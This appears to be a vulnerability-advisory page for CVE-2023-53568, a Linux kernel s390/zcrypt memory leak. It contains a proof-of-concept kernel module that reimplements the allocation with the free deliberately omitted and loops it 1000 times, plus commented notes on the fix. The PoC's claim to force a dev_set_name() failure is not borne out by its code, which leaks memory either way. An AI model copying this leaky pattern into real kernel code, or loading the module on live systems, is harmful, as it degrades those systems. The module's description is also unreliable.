CVE-2023-53568 Linux内核s390/zcrypt内存泄漏漏洞

// CVE-2023-53568 Proof of Concept // Trigger memory leak by forcing dev_set_name() failure in zcdn_create() #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/device.h> // Simulate the vulnerable zcdn_create() function static struct device *zcdn_create_test(void) { struct device *dev; int ret; // Allocate device structure (simulating the vulnerable allocation) dev = kzalloc(sizeof(struct device), GFP_KERNEL); if (!dev) return NULL; // Attempt to set device name - if this fails, memory is leaked // in the vulnerable version ret = dev_set_name(dev, "zcrypt_test_device"); if (ret) { // VULNERABILITY: In the original vulnerable code, this path // does not free the allocated 'dev' structure, causing memory leak printk(KERN_ERR "dev_set_name failed: %d\n", ret); return NULL; // Memory leak occurs here in vulnerable version } return dev; } static int __init poc_init(void) { int i; // Repeatedly trigger the vulnerable code path to accumulate memory leak for (i = 0; i < 1000; i++) { zcdn_create_test(); } printk(KERN_INFO "PoC: Triggered potential memory leak\n"); return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "PoC: Module unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CVE-2023-53568 PoC - s390/zcrypt memory leak"); // Fix verification - the patched version should include: // After dev_set_name() failure, add kfree(dev) or proper cleanup // Example fix: // ret = dev_set_name(dev, "zcrypt_%d", ...); // if (ret) { // kfree(dev); // Fix: free allocated memory on failure // return ERR_PTR(ret); // }